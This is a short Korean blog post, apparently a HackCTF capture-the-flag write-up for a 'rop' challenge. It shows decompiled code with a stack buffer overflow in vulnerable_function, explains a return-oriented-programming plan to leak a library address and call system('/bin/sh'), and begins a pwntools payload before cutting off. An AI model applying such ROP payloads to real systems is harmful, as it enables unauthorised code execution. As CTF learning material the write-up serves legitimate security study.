hackctf rop
-
ROPCTF/HackCTF 2021. 2. 1. 23:44
Disassembly 디스어셈블리 undefined4 main(void) { int32_t var_4h; vulnerable_function(); write(1, "Hello, World!\n", 0xe); return 0; } void vulnerable_function(void) { int32_t var_88h; read(0, &var_88h, 0x100); return; } vulnerable_function에서 read로 0x100만큼 입력받아 스택 버퍼 오버플로우가 발생한다. Return Oriented Programming 목표는 systen("/bin/sh")를 호출하는 것이므로 라이브러리 주소를 알아야 한다. payload = b"A"*0x8c payload += p32(write_plt)..